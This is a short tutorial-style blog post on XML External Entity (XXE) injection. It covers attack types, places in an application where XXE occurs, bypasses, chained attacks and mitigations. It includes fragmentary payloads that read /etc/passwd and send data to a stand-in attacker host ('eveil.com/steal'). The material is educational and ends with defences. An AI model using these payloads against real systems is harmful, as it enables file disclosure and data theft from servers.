External Entity Injection (XXE)


What is XXE ? , What are the different types of XXE ? ,Different areas in the application can find XXE?, Bypasses , What are the vulnerability chain with XXE ?, What is there impact and mitigation ?
Defination
It is a vulnerability where allow an attacker to interfare within application’s processing of XML Data by injecting malicious external entity.
Types of XXE
in-band XXE : When attacker sends the attack and recieve the response in same channel , Example : direct HTTP request and response.
Out-of-band XXE : When an attacker sends the attack and recieve the response in different resource controlled by the attacker , Example : When an attacker sends a direct request to the web server to send a sensitive file to the attacker’s own web server.
Blind XXE : When an attacker sends a direct request but not getting any response directly. Instead they observe the behaviour of the vulnerable web application to determine whether attack is succesful or not. Example ( By seeing Error Message ).
Different areas in the web application to find XXE
File upload : Application allow an attacker to upload a file. especially when it accpets XXE files can be vulnerable to XXE.
API Endpoints : Many web applications using an api for communication and using XML for transfering data . If input is not properly sanitized it is vulnerable to XXE.
Form Data : If application has form and accepts XML input vulnerable to XXE.
PDF Generator : If application has functionality to download PDF change the Content-Type to XML and upload the Malicious XXE Payload.
Third Party libraries : If an application is using Third Party library for data communication. If application is accepting XML input .Vulnerbale to XXE attack.
Bypasses for XXE
Encoding Character: Used a Payload Encode (Base 64,Unicode,Octal,Hex) all the character.
Parameter Entites : Instead of using external entity attacker used parameter entity to reference external entites indirectly. Example ( <!ENTITY %file SYSTEM ‘file://etc/passwd‘).
Custom Protocol : If an attacker used ( “FTP“ , “http“ , “file“ , ”gophor” ) protocol. to reference external entity.
Out-of-band-interaction : Attacker inject entites that reference external server under attacker control. Example ( <!ENTITY xxe SYSTEM ‘http://eveil.com/steal?data=).
Chain with XXE
File Disclosure : Attacker inject the malicious payload and get the data from Sensitive file like “/etc/passwd“ , “Config files“ ,”.env” file.
Server-Side-Request-Forgery : Attacker inject malicious payload and make request to the internal server to get details ( Meta-Data , Admin panel , Port Scanning).
Command Injection / Remote Code Execution : Some XML parser allow an Custom Proctocol like (PHP:// , jar:// , expect://) Load the malicious script.
Exfiltration : If an attacker put the “Reverse Shell“ payload to the application , response is send to the attacker control server
Impact
Sensitive Data Exposure : Access the sensitive files on the server file system. Extraction of configuration files and credentials.
Denial of Service : Attacker sends a multiple request as result “Resource exhasution“ and “Network bandwidth depletion“.
Mitigation
Disable DTDs and External Entity Processing.
Whitelist schema and Namespace sources.
Use Secure , hardened XML parser.
Proper Input validation and boundry check.
Chcek the unusal HTTP traffic (out of band interaction)
Insted of using XML data use JSON which is less vulnerable.
Subscribe to my newsletter
Read articles from sanket narawade directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
